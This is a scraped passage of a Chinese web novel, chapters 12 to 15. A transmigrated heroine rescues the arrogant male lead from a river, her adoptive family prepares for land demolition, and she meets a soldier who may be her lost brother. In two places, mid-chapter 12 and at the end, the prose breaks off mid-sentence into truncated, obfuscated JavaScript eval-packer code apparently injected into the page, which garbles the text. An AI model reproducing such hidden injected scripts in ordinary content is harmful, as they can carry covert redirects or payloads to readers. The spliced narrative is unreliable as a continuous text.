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“没事没事,做不成夫妻还能做朋友嘛,我家安安又不是不讲理的人,现在是新时代,婚姻自由,我们尊重小辉的选择,你也别打孩子了。到底没了亲妈在身边,可能他比较着急,想要有个自己的家庭。回去好好跟他说,冯家那边,你也该表个态了,免得回头闹起来,人家告小辉耍流氓,到时候谁脸上都不好看。”姚良远温声细语的,说的话却很扎心。 邢铁军难堪到了极点,只得讪讪的应道:“是啊兄弟,你说得没错,既然找了人冯家的女儿,就得负责。你放心,我都明白,这会儿太晚了,明天我买点东西再去冯家。” “行,到时候有什么条件慢慢商量,别吵别闹,免得村里人笑话。”姚良远起身开门,没有像以往那样,留这个兄弟在家喝酒。 邢铁军丢人丢大发了,推着车出去,很快去他弟弟家里,找到了邢亚辉,二话不说,抄起皮带抽了上去。 邢亚辉鬼哭狼嚎的,最终在他叔叔和爷爷的庇护下,才保住了小命。 即便如此,还是被揍得浑身皮开肉绽,连夜被送去了镇上卫生所。 第二天一早,温枕瑜收到消息,特地来医院探病。 邢亚辉恨死他了,扭过头去,愤恨道:“你走,我不想看到你。” 温枕瑜笑呵呵的:“生什么气啊?我只是在验证我做的梦到底会不会发生变化而已。目前我可以确定,小事的走向会变,大事是不会变的。你放心养伤,用不了两天,姚长安就会跑过来哭着求你复合了。” 邢亚辉哪里还肯再信他,等他一走,便挣扎着要出院,要打电话给大表哥温怀瑾告状。 正好温怀瑾在附近查一桩案子,接到电话听完前因后果,问道:“你二哥人呢?” “在河边钓鱼呢!”邢亚辉气鼓鼓的。 温怀瑾看看手里的卷宗,道:“你让他去你们镇上招待所等我。” “哦。哥,你在招待所干什么?” “午休。” “午休?你在这边查案子?” “嗯。” “什么案子啊?” “小孩子少问。” “我不小了,21了!” 对面传来一声轻笑,直接挂断了电话。 邢亚辉讪讪的撇撇嘴,大四岁了不起啊?大表哥果然是个老古板! 12. 意外 温枕瑜不喜欢他大哥,整天跟个教导主任一样,烦死了。 所以邢亚辉让堂弟邢亚煊过来喊他的时候,他没动。他坐在岸边,悠哉悠哉的,等着鱼儿上钩。 邢亚煊今年十九,初中毕业就不上了,在村里找了个木匠拜师学艺,如今快出师了。 他坐在水边的台阶上,好奇道:“哥,你怎么天天往这儿跑,钓鱼这么有意思吗?” “我做了个梦。”温枕瑜高深莫测地笑笑,“等会我会钓上来一条大青鱼,你要不要等等看?” 邢亚煊噗嗤一声笑了:“你不是大学生吗?居然信梦啊?我上次还梦见我买彩票中了一百万呢,结果屁都没有。” 温枕瑜嫌弃的翻了个白眼:“你懂什么,等着瞧着吧。” 正好姚长安来河边刷鞋,他便饶有兴味地盯着人家,眼神中带着明显的诧异和不解。 邢亚煊顺着温枕瑜的视线看去,不由得好奇:“哥,你总盯着姚长安做什么?看上人家了?” 温枕瑜勾了勾嘴角,嗤笑道:“她?土得掉渣。你哥不是说她很懒吗?怎么会来河边刷鞋?” 邢亚煊不觉得,歪着脑袋看了又看,反驳道:“哪里土了?也不懒啊。再说了,她可是我们村最漂亮的,成绩也是最好的,懒一点也没事啊。” 温枕瑜明显有些不高兴:“你的意思是,你哥撒谎了?” 邢亚煊没有亲哥,只有邢亚辉这个堂哥,一个脑子不好的堂哥,他无语了,反驳道:“我哥嘴里能有真话吗?谁不知道他跟冯媛媛的那档子事,他肯定要把安安姐说得一无是处啊,要不然他不得被人骂死。” 温枕瑜不说话了,就这么直勾勾地盯着姚长安,好像很不理解她为什么会跑出来刷鞋。 姚长安忙着呢,抬头一看,但见一个小白脸正满脸讥讽地看着她。 小白脸旁边,是干活晒成小麦色的邢亚煊,正傻笑着跟她挥手打招呼呢,年轻的脸上满是崇拜。 农村人就这样,特别崇拜学习好的人,当然,也有那种吃不到葡萄说葡萄酸的,邢亚煊是前者。 原主跟邢亚辉订婚三年多了,自然跟邢家人很熟,但是姚长安是穿来的,所以她这几天在村里没少认人。 她笑着挥了挥手,低头继续忙自己的。 温枕瑜没想到她还挺随和的,更加不理解了,诧异道:“你哥不是说她不爱搭理人吗?” 邢亚煊越发不爱跟这人聊天了,反驳道:“你少听我哥胡说,安安姐可好了,昨天路过我家,还帮我妹妹讲题呢。” 温枕瑜不禁嗤笑:“这么崇拜她?看上她了?” 邢亚煊立马黑脸,他一个初中文凭的半吊子,拿什么配人家大学生?这人真是满嘴跑火车,一点也不靠谱。他起身道:“你这人真讨厌!要不是我哥叫你一声哥,我都懒得陪你在这里晒太阳,你慢慢钓吧,千万别被鱼拽下去了!我回去了!” 说着还不忘冲姚长安挥了挥手,喊了声姐姐再见! 姚长安很乐意跟有素质的人打交道,抬头挥了挥手:“慢走啊亚煊。” 这样的礼貌,落在温枕瑜眼中,却成了她在臭美——邢亚煊夸她,她才对邢亚煊这么客气。 真虚荣!温枕瑜不屑地撇撇嘴,继续钓鱼去了,眼神专注,似乎准备验证什么。 很快,鱼儿咬钩了,却是一条巨大无比的青鱼,看那水中激起的波纹,起码三五十斤! 这可是大货!温枕瑜赶紧站起来,想要把鱼拽上来,没想到这鱼劲儿太大,猛地一挣,便把温枕瑜连人带钓竿一起拽水里去了。 一声惊慌的粗口,伴随着噗通的落水声,引起了姚长安的注意,抬头看去,原来是小白脸被鱼钓了。 上次他陪邢亚辉过来提分手又没有进门,姚长安自然不知道他就是这个书中世界的男主角。 她只是本能地看到有人落水,想着就算这人嘴贱,也不能看着他就这么淹死啊。 于是她解开岸边的小船,这是爸妈为了去河道那头采莲藕准备的。 她上了船,撑了杆,几下把船摇了过去,停在了小白脸面前,人没有下水,只是伸出撑杆,喊道:“你别乱动,拽着,我拉你上来。” 温枕瑜正在扑腾,他明明会水,可他一进水里腿肚子就抽筋了,愣是浮不上来,可能是因为落水来得太突然了。这会儿有人帮忙,他来不及看清这人的样子,赶紧拽着撑杆,想要往上爬,可他的腿持续抽筋,压根用不上力气,只得抱着撑杆,在水里挣扎。 姚长安见状,只得对着自家门口大喊,好在这会儿姚良远跟刘克信正在楼上收拾,听到动静赶紧过来帮忙。 姚良远没有犹豫,直接跳下水,游到撑杆那里,把人抱在怀里,仰泳回了岸边,刘克信站在岸边,搭了把手,两口子一起把人抬上了岸。 姚长安松了口气,立即撑船回来,却见这人抱着腿,蜷成个虾米,满脸痛苦,好在她爸正在帮忙按摩,她妈则调头回去拿毛巾和衣服了。 等到腿肚子的抽筋彻底缓解了,温枕瑜才臭着脸,说了声谢谢。 很不情愿的口吻,听着让人来气,姚长安挖苦道:“谢谢就行了?也不叫声叔叔阿姨?” 温枕瑜大喘着气,不满地看了眼姚长安,他最讨厌别人教他做事!可是现在,别人一家子确实救了他。 算了。他深吸一口气,拒绝了刘克信递来的衣服毛巾,说了声:“谢谢叔叔阿姨。” 话音刚落,姚长安脑子里便响起了系统的声音:“恭喜宿主救下本书男主角,系统特别奖励宿主及其亲属好运光环。希望宿主再接再厉,但行好事,莫问得失。” 姚长安诧异地后退几步,什么?这就是男主角温枕瑜? 早知道不救了!草! 系统知道她的心情,安慰道:“就算你不救他,别人也会救的。与其好运光环落在别人身上,不如落在你养父母身上。” 也对。这个世界是围绕温枕瑜而存在的,他肯定不会轻易挂掉。 如果她扭头走人,别人听到呼救声也会赶来的。 这不,邢铁军来了! 他风风火火地把车停在了路上,扑过来问道:“阿远,出什么事了?” 姚良远笑笑:“这小子掉水里抽筋了,安安正好在刷鞋,救了他一命。” 温枕瑜想反驳,你家女儿只伸了个撑杆! 没想到姚长安自己澄清道:“爸,别把功劳往我身上揽,我只是划船过去伸了个撑杆,把他弄上来的是你跟我妈。” 邢铁军却不这么想,夸道:“好孩子,快别这么说!要不是你伸了撑杆,这小子早就浮不上来了。是你们一家三口救了他!你们放心,回去我就跟他爸妈说。对了,他哥就在镇上呢,回头我让他哥晚点过来道个谢。” “姨父!我已经道过谢了!”温枕瑜赶紧打断,千万别叫他大哥过来,回头又得训他,烦死了。 更烦的是,现实跟他预料中的走向居然出现了这么巨大的偏差! 他现在非常烦躁,根本不想看到他哥! 他这么没礼貌,邢铁军只好赔笑脸:“阿远啊,你别跟他一般见识,他爸妈工作忙,也就他哥能管管他,我这做姨父的说不上什么话。” 姚良远接过刘克信拿来的毛巾擦了把脸,顺便把身上的汗衫换了,他笑道:“没事没事,这小子看着跟我家安安差不多大,还是孩子呢,谁跟他计较这些。走吧,别在这里傻站着了,上家里去说。” 邢铁军松了口气,边走边回道:“不小了,22了。比你家安安还大一岁呢。” “哦?22了?上大学吗?” “下学期大四。” “生日小吧?我家安安马上也大四了。” “对,他下半年生的。” “怪不得。叫什么?” “温枕瑜,他爸妈本来想叫他温握瑜,念起来拗口,就取了温枕瑜。” “握瑜?那家里岂不是还有个怀瑾?” “对对对,他哥叫温怀瑾。” “怀瑾握瑜,挺好的名字,家里就两个孩子吗?” “还有个小女儿,考的艺校,跟安安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时,镇上的老旧招待所里,温枕瑜看着一脸严肃的温怀瑾,狡辩道:“谁说我掉河里了?没有的事。你别去,人家要怀疑你神经病的!” 温怀瑾自然不信,忙完手里的案子还是问邢铁军借来自行车,问清地址后,来了趟姚长安家。 却见院门紧闭,敲门也没有人理会,他只好写了张道谢的便条,夹在门缝里便走了。 他还得赶火车,回省城汇总案件细节,没时间。 等到姚长安一家三口从果园回来,天都黑了,也就没有人看到那张纸条。 夜里下了场雨,纸条被雨水冲刷,上面的字很快淡化成了几道模糊的痕迹。 天亮后很快放晴,姚长安起来院子里摘菜准备午饭的时候,发现番茄地里躺着张被雨水打烂的纸条,捡起来一看,只能勉强认出一个“瑾”字,估计是哪家小孩抄成语的作业纸飞出来了吧? 她没有多想,赶紧做饭去。 两天后,拆迁的通知下来了。 效率这么高,是想赶在年底完成拆迁相关的工作,这样明年开春就可以动工了。 桥西的夏良达赶紧跑过来打听拆迁补偿的细则,打听完算了笔账,不禁目瞪口呆! 老天爷啊!姚良远一家能得大几百万补偿款呢!既然这样,当初借钱给他盖房的欠条撕了得了。加上装修也就五万多块钱,毛毛雨而已! 于是快到晚饭时间时,夏良达便亲自来请这一家三口。 姚长安有点意外,剧情果然变了,原本要欠条是在她家发生的,现在居然要去夏家吗? 而且拆迁通知也晚了两天,好奇怪,难不成都是她引起的蝴蝶效应? 她问了问系统,系统也不确定,安慰道:“不管怎么说,你们现在有了好运光环,肯定不会有事的。” 嗯!姚长安深吸一口气,挽住爸妈的胳膊,不就是顿鸿门宴吗? 兵来将挡!水来土掩! 13. 身世 事情远比姚长安想象得顺利。大概是之前请大舅过来放的烟雾弹起了效果,夏家众人全程客气礼貌,态度谦卑。 用的是商量讨好的口吻,而不是原文中那种追魂索命的架势。 既然这样,姚良远也没什么好说的,带着夏良达回去,从堂屋墙上取下相框,当着夏良达的面打开欠条,掏出打火机点了。 火星熄灭的瞬间,夏良达由衷地松了口气,笑道:“阿远啊,谢谢啊,你放心,你对哥的好,哥永远记着。等哥发财了,一定带你吃香喝辣。” 姚良远笑笑,吃香喝辣就算了吧,连还钱都不提,别的鬼话就不要说了。 不过成年人的世界,不就是你哄我,我哄你吗?大家都戴着面具装好人,那就倾情演绎一场兄友弟恭吧。 他搂住夏良达的肩膀,笑道:“哥,客气什么,自家兄弟。走,饭还没吃完呢!今天非得狠狠宰你一顿!” 夏良达哈哈笑着,心里却在滴血,如果可以,他宁愿桥西拆迁,宁愿还钱。 这么一来,起码还能剩个几十万。现在倒好,被人抹掉五万多的欠款已经算是天大的恩情了,想想就心塞。 回到夏家,夏良达喝了点酒,借着发酒疯的机会,逼着姚良远答应他,以后就算亲生父母找过来了,也不能不认夏家的兄弟。 姚良远好脾气地答应了,又陪着演了半天的深情戏码,这才回去了。 关上院门,一家三口忍不住笑了。 尤其是姚良远,对女儿的计策赞不绝口! 等姚长安上楼睡了,他才问了声刘克信:“老婆,你有没有觉得咱闺女长大了好多?” 这里的长大,指的是成熟,刘克信心里明白,笑道:“长大了不好吗?” 姚良远默默叹了口气:“也好,也不好。她会操心事儿了,不再是无忧无虑的小屁孩了。人啊,一旦愿意操心身边的事儿了,就会有操不完的心。” 这是一个老好人的经验之谈,要不老一辈怎么总说傻一点是福气呢? 说的不是脑子笨,而是心大,不爱操心事儿。 现在女儿不想傻一点了,当爹的心里还挺不落忍的。 刘克信明白他的心情,宽慰道:“姑娘家还是精明一点的好,不吃亏。” “是啊,凡事都有两面性嘛。”事已至此,姚良远只能往好了想,希望女儿今后碰到的都是省心的事,省心的人,这样就可以少操一点心了。 两口子洗了澡,上床腻歪了一阵,事后靠在床头闲聊。 姚良远还惦记着之前夏雨说漏嘴的事儿,试探道:“老婆,你说,女儿开始留意身边的人和事了,会不会有天发现她不是咱们亲生的?” 刘克信显然早就考虑过这个问题了,笑道:“这怕啥的?这么多年来,咱亏待过她吗?没有吧?既然没有,那担心什么?” “你不怕她闹着找亲生父母吗?” “不怕,她那边的亲生父母早就不在人世了。” “你确定?” “确定啊。咱妈把她抱来的时候不是说了吗?她家爸妈出事了,叔叔伯伯不愿意帮忙抚养,几个孩子全送人了。真是造孽,四五个兄弟姐妹呢。她是最小的一个。” “不是说工厂事故,两口子都是技术员,为了抢险失踪了吗?失踪而已,万一活下来了呢?” “怎么可能?活下来了这么多年不找孩子?” “说不定失忆了。” “你电视剧看多了,那种情况怎么活啊,锅炉都炸了。对了,你怎么突然好奇这个?” “随便问问,姑娘大了,我有点患得患失的。”姚良远随便找了个借口。 刘克信笑道:“好啦,担心什么呀?咱闺女知道疼人了,不好吗?就算真有人来找她相认,她也不可能不认咱们的。” 那倒也是,姚良远把心放宽睡觉去了。 * 最大的隐患解除了,姚长安一连好几天都春风满面的。 暑假在家闲得无聊,不是去店里帮忙,就是去果园帮忙。 至于拆迁,还需要时间核对户口、人数、住房面积、口粮田等信息,一时半会还走不到发放补偿款那步。 她便趁着果园和老家还在,多多体验一下生活。 这天早起,爸妈居然没有去店里和果园,而是在院子里张罗着一些锅碗瓢盆,姚长安有点好奇,凑过去问道:“爸,妈,这是做什么?搬家?” 刘克信笑着擦了把汗:“对啊,动迁组下个月就来了,提前准备一下,把要用的东西搬到镇上去,免得到时候手忙脚乱的。” “去镇上住哪儿啊?”姚长安走过来帮忙,有些东西挺有年代感了,扔了可惜,但是放着又不用,还占地方,她真想劝爸妈扔了。 不过,看老妈那稀罕劲儿,姚长安话到嘴边还是咽了回去。 刘克信笑着看向姚良远:“你说!” 姚良远神秘兮兮的,跑去一楼东房拿了个红本本出来:“乖宝,你看这是什么!” 姚长安笑了:“买房了?镇上房子贵吗?” “比县里的便宜多了。”刘克信笑道,“不过县里的咱家买得早,当初才450一个平方,这才几年,就涨到1200了!” “1200?”姚长安有点意外,毕竟原文里没提今年的行情。 她家在县城的房子,是爸妈为了进城进货方便而买的,这样当天赶不回来就直接住在县城,不用为了赶车顾头不顾尾的,也不用为了住宿临时找地方。 那套房子是县城最早的商品房,一套也就六十个平方,等到小说剧情推到三年之后,那个小区也会拆迁。 到那时候,房价是2200一平! 按照那个单价倒推,她以为现在应该在1600左右,没想到才1200,看来房价是后面几年才飞速飙升的,现在还算温和,从450到1200花了六年时间呢。 一想到后面三年居然涨了1000,她就有点激动,于是她问道:“爸,妈,回头拆迁款下来,你们是打算存银行,还是再买几套房子等升值啊?六年涨了750,可不得了,比做买卖赚得多吧?” “嗯,我跟你爸爸有这个打算。现在不急,等拆迁款下来再说吧。”刘克信虽然也喜欢走一步看三步,但是拆迁的事还是不要高兴得太早,毕竟桥西 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于是她扑过去抱着刘克信的脖子:“我妈真好!”说着又晃了晃姚良远的胳膊,“我爸也好!可是不行哦,晚辈不可以跟长辈抢主卧哦!你们睡最大的那间,不然我就回学校找同学一起去打工了!” 刘克信赶紧投降:“哎呦喂!我的乖宝,你可别吓唬妈妈!大城市现在的治安还没小地方好呢!你可不许去打工,回头被人骗了怎么办?” “那你们听我的,睡这间!”姚长安笑着把爸妈的东西往里摆。 刘克信无奈,跟姚良远交换了一个眼神,只好同意了。 住在这里也挺好的,离菜场近,想做饭就做,不想做就去自家饭店吃。反正就在后面那条街上,不远。 姚长安选了东边的次卧,把自己房间收拾好,又转了一圈,检查了一下水电。 可别说,这台商开发的楼盘还挺精致,东西都设计得很巧妙,客厅的灯,居然在玄关和阳台的位置都可以开关! 比家里的开关先进不少。 房间都是朝南的,北边是卫生间、厨房、餐厅、带浴室的卫生间、通往阁楼的小楼梯间。 客厅贯穿南北。整个户型南北通透,两边窗户一开,空气流通特别好。 她又去阁楼看了眼,挺好,大概九个平方,可以摆个小床,小桌,还能弄点乱七八糟的设备,做个书房兼手工作坊。 暑假还有一个月多点,慢慢布置吧。 转完房间,时候不早了,一家三口决定偷个懒,去自家饭店吃。 到那的时候,人满了,还有几个军人在用餐,一家三口便去后厨帮忙,反正不是很饿。 正忙着,靠门的饭桌那边传来一声怒喝,因为那人说的是外地方言,一时竟没人听得懂。 姚长安丢下手里的大蒜头,赶紧过去看看。 但见一个跟她长得有五六分相似的军人,正摁着一个食客,满脸怒意,一身正气。 视线对上,两人都愣了一下。 14. 约定 原主的养父母开篇不到三章就死了,到死都没有透露过原主不是亲生的。 直到葬礼现场,夏家叔伯过来闹事抢占家产,这才口不择言说漏了嘴,即便如此,关于原主身世的线索也不多。 夏家长辈只知道她是刘克信从外面抱来的,至于抱的是哪儿的,谁家的,一无所知。 后来随着剧情推进,原主终于从刘家姥姥口中得知亲生父母失踪的消息,结合当时的新闻报道,以及锅炉爆炸引起的巨大火势,所有人都认为,那对夫妻必死无疑。 原主自己也接受了这个说法。至于她的哥哥姐姐们,早已不知被各自的养父母带去了哪里,她便没有继续探寻。 然而,作为一个血包,就算她自己不想追究这件事,作者也是不会放过她的。 时不时就会弄几个跟她长得相似的人出来吊胃口。 面前的这个军人,对应原文,应该是原主养父母葬礼之后出现的。 原主当时被夏家长辈逼得整个人都崩溃了,为了保住家产,不得不来镇上找邢亚辉复合,没办法,农村的宗法社会,注定了她必须找个男人过来顶门立户,哪怕她本身并不认可这个观念。 心事重重的她,担心自己直接去邢家会谈不拢这件事情,便来饭店里找小舅妈帮忙。 原主的小舅舅是大裁军时转业的士官,在镇上供电所工作,小舅妈作为军嫂,年轻的时候一直照顾家庭,没有什么正经工作,后来原主爸妈开了饭店和商店,便把小舅妈喊过来帮忙,工资不是固定的死工资,而是按照合伙人的标准给的,每个月营收的一半都是小舅妈的。 所以小舅妈非常感激原主爸妈,自然不会惦记原主的家产。 看到原主过来,小舅妈赶紧在围裙上擦了擦手,吩咐帮厨几句,便带着原主去了邢家。 因为心里装着事儿,两人都没有注意到坐在门口那桌的军人,就这么擦肩而过。 等到这个军人第二次出场的时候,已经是三年后原主家县城房子拆迁的时候了。 那时他已经退伍了,在城乡建设局工作,是动迁组的工作人员之一。 他怀疑原主是他的妹妹,奈何基因技术不能做亲兄妹的鉴定,只能做一个判断倾向性的全同胞关系鉴定。 这种鉴定具有极大的不确定性,因为兄妹双方是从父母的基因库里随机各取一半组合而成的,即便是亲兄妹,也有可能因为共享的基因片段过少,而得出较为遗憾的结论。 即便增加遗传点位的检测,也只能得出一个倾向性的意见,不能作为准确依据。 后来的结果果然让人大失所望,不过,因为这个军人确实记得自己有过一个妹妹,便跟原主交了朋友,并在拆迁补偿的相关事宜上,给原主提供了不少帮助。 如果不是这个军人,原主在三年后拿到的拆迁补偿起码要少一半。 而现在,因为姚长安的努力,剧情的偏差已经朝着不可预见的方向发展了,她怎么也没想到,会在今天跟这位疑似亲哥的角色相见。 她只能笑了笑,问道:“出什么事了?” 军人操着一口蹩脚的普通话,道:“他偷我钱包。” 姚长安恍然:“需要报警吗?派出所就在前面的那条街上。” “好。”军人从小偷怀里抢出钱包,扭头对同行的其他战友说道,“你们先吃,我等会再来。” 说着便将小偷的胳膊摁在身后,往外走去。 姚长安跟上,闲聊道:“还不知道怎么称呼你。” “穆承恩。穆桂英的穆,吴承恩的承恩。”军人走在路的外侧,下意识把里侧让给了姚长安。 果然是他,姚长安笑着问道:“听口音,你不是本地人。” “南边来的。”穆承恩总是忍不住扭头看她,好奇道,“你叫什么?家里几个兄弟姐妹?” “姚长安,舜帝的那个姚,长久平安的长安。”姚长安笑道,“没有兄弟姐妹,家里就我一个。” 那倒不奇怪,如果是抱养的,一个就够了。穆承恩又问:“你看着比我小,上大学吗?” “小吗?我21了,秋学期大四。” “那你比我小,我24。” “你是义务兵?” “不,三级士官,升四级有点难,要是升不上去,再过几年就退役了。” “我不是很懂这个,为什么四级很难呢?” “四级是中级士官的最高级别,算是士兵向高级士官过度的关键门槛,有名额限制。” “升上去之后还有更高级别?” “有五级六级士官,之后是三级军士长,二级军士长,一级军士长。一级军士长才是真正到头了,那个太难了,全国才几个,是真正意义上的兵王,享受师团级待遇。我有自知之明,没那个本事,能努努力够到四级就很不错了。” “那你加油,我瞧着你身手不错,也有正义感,老天一定不会辜负你这样的人。” 被一个陌生姑娘这么夸赞,穆承恩多少有点难为情,下意识停下脚步,问道:“我要是做不到呢?” “那也不丢人啊,起码你努力过了。”姚长安笑着给他打气,“生命在于过程,如果结果是自己想要的,那就再好不过了,如果不是,起码无愧于心,这就够了。” “不愧是大学生,像个哲学家。”穆承恩笑了,好奇道,“你在哪里念书?” “首都。” “哦?清北?” “不,我搞航空陀螺与惯性导航的。” “航大的。” “嗯。” “这是王牌专业啊,分数线很高的,不比清北差。” “嗯。” “怎么会学这个?” “害,又不是我自己想学的,高考那年,我大舅给我爸妈瞎指挥一通,我就被赶鸭子上架了。好痛苦的,我不是很喜欢搞这个。” “那你喜欢什么?” “我啊,我喜欢自由。大二搞金工实习的时候我就下定决心了,航空航天事业需要交给真正热爱这行的人来做,我这种被强行塞进来的还是不要害人害己了。” “那你总得找个适合自己的工作吧?要不趁着没毕业,去别的院系听听课?” “听过了呀。” “哦,怎么样?找到自己喜欢的专业了吗?” “都是三分钟热度。我感觉是整个教育体系的问题,从小到大都 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“好。”穆承恩依旧摁着小偷,两人去报案窗口说明情况,很快,那小偷就被民警带走了。 出来的时候,天空阴沉了下来,瞧着要下雨,姚长安招呼了一声,赶紧往店里跑。 快到店门口的时候,穆承恩叫住了她:“姚长安,留个联系方式给我吧,咱俩挺投缘的,又都在首都,做个朋友好不好?等我休息了去你学校找你玩。” 姚长安回头的瞬间,天上噼里啪啦的,开始往地上砸雨豆子。 她一把将人扯进店里:“好啊,你等等,我去找我舅妈拿纸笔。” 等她写完联系方式出来,穆承恩也把自己的准备好了。 首都军区空降部队,某师某团,姓名地址,邮编,以及部队宿舍电话,全的。 姚长安赶紧把大学宿舍的电话号码补充上去。 这算是她来到这个世界亲自交下的第一个朋友吧? 她还挺开心的,等穆承恩跟战友们结账离开了,她还特地送了把雨伞给他。 回到店里,小舅妈笑着问道:“新朋友?” “嗯。”姚长安坐在空下来的桌子上,晃了晃手里的纸条,“回头拿给表哥看看,说不定他们今后有机会认识呢。” 说的是大舅家的表哥,不是小舅家的表哥。 小舅妈笑道:“那你好好留着,千万别弄丢了,吃什么,面条还是炒饭?” “今天心情好,吃面条吧,要很多辣椒!” “好,很多辣椒!煎蛋要不要啊?” “要的!小舅妈煎的蛋最好吃了!”姚长安笑眯眯的,看到小舅妈进了后厨,不知道跟爸妈嘀咕了句什么。 可能是在说,那个军人跟她长得像? 爸妈先后从窗口回头看了她一眼,全都面带微笑,宠溺满满。 姚长安心中非常笃定,他们一定是在议论那个军人。 等到爸妈端着饭碗过来坐下的时候,却全都默契的闭口不谈。 吃完饭,回到镇上的新家,姚长安刚准备睡下,便听到了玄关开门关门的声音。 爸爸出去了,会找穆承恩吗?不知道。 不管了,她把联系方式郑重地誊抄在电话簿上。 15. 翻脸 苍山镇老旧的招待所里,穆承恩迎来了一个陌生的访客。 他诧异地打量着姚良远,好奇道:“叔叔你是?” “我是姚长安的爸爸。”姚良远给他发了支烟,软中华,算是这里最好的牌子了。 穆承恩婉拒道:“谢谢叔叔,我不抽烟,进来说。” 姚良远自己也不抽烟,随身带烟不过是为了应酬,没想到眼前这小子也不抽,他挺欣赏这个年轻人的。 进门后便开门见山地问道:“你是省城钢铁厂姚家的孩子吧?” “不是啊。”穆承恩一脸诧异,“叔叔怎么这么说?” “不是吗?”姚良远有点意外,好奇道,“那你老家哪里的?” “壶州的。”穆承恩想了想,问道,“叔叔是来套我话的吧?” 姚良远没有否认,他沉默地站在窗口,眼中有一丝惆怅。 穆承恩索性打开天窗,说亮话:“姚长安是叔叔抱养的吧?” 姚良远震惊回头,这都猜到了?那这年轻人…… 穆承恩笑笑,解释道:“我有个妹妹,奶奶带的,三岁的时候在家门口玩,邮差喊奶奶收信,奶奶想着就在家门口,拿了印章就出来了,就没有把妹妹叫进去。等她收了信一回头,妹妹不见了。我看到姚长安的第一眼,就觉得她像我妹妹。叔叔是什么时候抱养的她?” “你妹妹三岁才丢的?” “对。” “我家长安抱回来的时候才一个月。” “什么?”穆承恩显然有些意外,他怔怔的看着姚良远,不禁有些抵触这个答案,他再三确认道,“叔叔不会是怕我带你女儿回去认祖归宗,所以故意说个对不上的时间吧?” “你错了,我不能生育,如果她真有兄弟姐妹在世,我肯定愿意让他们相认。这么一来,将来要是我跟她妈妈有什么意外,她不至于孤零零的,连个亲人都没有。”姚良远默默叹了口气,“现在看来,是我搞错了。” 穆承恩也没有想到会是这样。他也叹了口气:“她自己知道吗?” “不知道。在没有十全的把握找到她的家人之前,我和她妈妈都不打算告诉她。”姚良远烦躁地抓了把头发,“希望你谅解,也希望你保守秘密。” “我懂,你们怕她伤心。”穆承恩有点沮丧,“真可惜,我还以为她是我妹妹。”说着他起身去倒热水,拉了把椅子,让姚良远坐下说。 姚良远结果茶缸子,没喝,他打量着这个年轻人,确实跟安安有几分相似,尤其是眼睛和嘴巴,不过脸型不是很像,鼻子也并不一致,这小子的鼻梁骨中间有个驼峰,安安的鼻子挺翘笔直。 也许真的只是巧合吧。他问道:“你父母还在世吗?” 穆承恩没有第二把椅子,只好坐在床边,道:“在啊,我还有个姐姐。” “家里一共就三个孩子?” “嗯。” “长安她父母死了,四个哥哥姐姐都被送人了。当然,她自己也是被送走的,我不是拐子,也不是买家,你放心。” 穆承恩这下完全不知道该说点什么才好了,没想到这个妹妹身世这么凄惨。 他不理解:“她家里没有其他长辈了?” “有跟没有一样。叔叔伯伯不愿意养他们,爷爷奶奶年纪大了,做不了主。”姚良远很是心疼女儿,默默握紧拳头,“所以我跟她妈妈都不忍心告诉她。明明有亲人,但是亲人抛弃了他们,甚至吞了她父母的抚恤金。” “抚恤金?”穆承恩有些愤怒,“难道她父母是因公牺牲的?” “对。”姚良远默默叹气,“你说,这种事要我怎么跟她开口?除非她的哥哥姐姐找过来了,否则我是绝对不会让她知道这些的。” “明白。叔叔你做得对!”穆承恩走到窗口,看着外面的雨,眉间平添几分惆怅,他回过头来保证道,“叔叔你放心,我对我的军装发誓,绝对不会泄露今天的谈话。不过我也有个不情之请。” “说。” “叔叔如果不介意的话,我想把你女儿当我妹妹看待。正好我也在首都,有空可以陪她说说话,散散心。”穆承恩真诚地看着姚良远,“我不是想把你女儿当我妹妹的替身,我只当自己多了一个妹妹。有朝一日,我会找到我妹妹,我会告诉她,她多了一个姐妹。” 姚良远有点感动,拍了拍这小子的肩膀:“好!我还有事,先走了。” 穆承恩送他下楼,好奇道:“叔叔怎么知道我在这里的?” “你战友我认识,我刚找那小子打听了一下,他说你是特地过来参观名人故居的。” “哈哈,是的。你们这里是历史文化名城。我仰慕很久了。” “有空让长安带你转转。” “下次吧,明天我要回部队了。” “好的,长安把家里电话写给你了吧?” “写了写了。” “那我走了。” 穆承恩把他送到招待所门口,见他开了个面包车离开,推测是要去进货,便叮嘱了一声雨天路滑,开慢点。 姚良远挥了挥手,往县城去了。 * 县城,温家老宅。 温枕瑜百无聊赖地拿着遥控器,盯着即将结束的奥特曼,随时准备点播下一集。 门铃响起,他不耐烦地起身,见来的是邢亚辉,脸色臭不可闻。 邢亚辉养了几天,身上好点了,今天是来找他表哥算账的。 他关了门,脱下雨衣,气鼓鼓的:“表哥,你说姚长安爸妈会死的呢?你说她会主动找我复合的呢?你骗我!你知不知道我现在有多惨?你看看我爸把我打成什么样了!” 温枕瑜没理他,歪在沙发里,拿起话筒,把奥特曼的下一集点播了,随后丢了遥控器,一脸死猪不怕开水烫的样子。 邢亚辉快崩溃了,他坐到温枕瑜对面,拿起遥控器,关了电视:“说话啊!你怎么赔偿我!我本来是姚家的女婿!是你怂恿我分手的,你还怂恿我跟冯媛媛睡觉!我爸为了这事差点打死我!现在所有人都知道了,我不要脸,跑去人家家里跟人睡觉!我成冯家的女婿了!冯家有什么?你赔我损失!” “说完了?”温枕瑜自己还烦着呢,他这人就是这样,越是心烦越不想开口。 他坐直了,伸手问邢亚辉要遥控器。 可惜邢亚辉在气头上,顾不得这些!他把遥控器坐在屁股底下,质问道:“没有说完!我想知道你为什么要害我!” “我害你?”温枕瑜冷笑,“眼红桥西拆迁的是你。” “我……”邢亚辉气短,只得冷哼一声,别过头去,不看他的害人精表哥。 温枕瑜冷笑道:“抱怨姚长安不给睡的也是你。” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 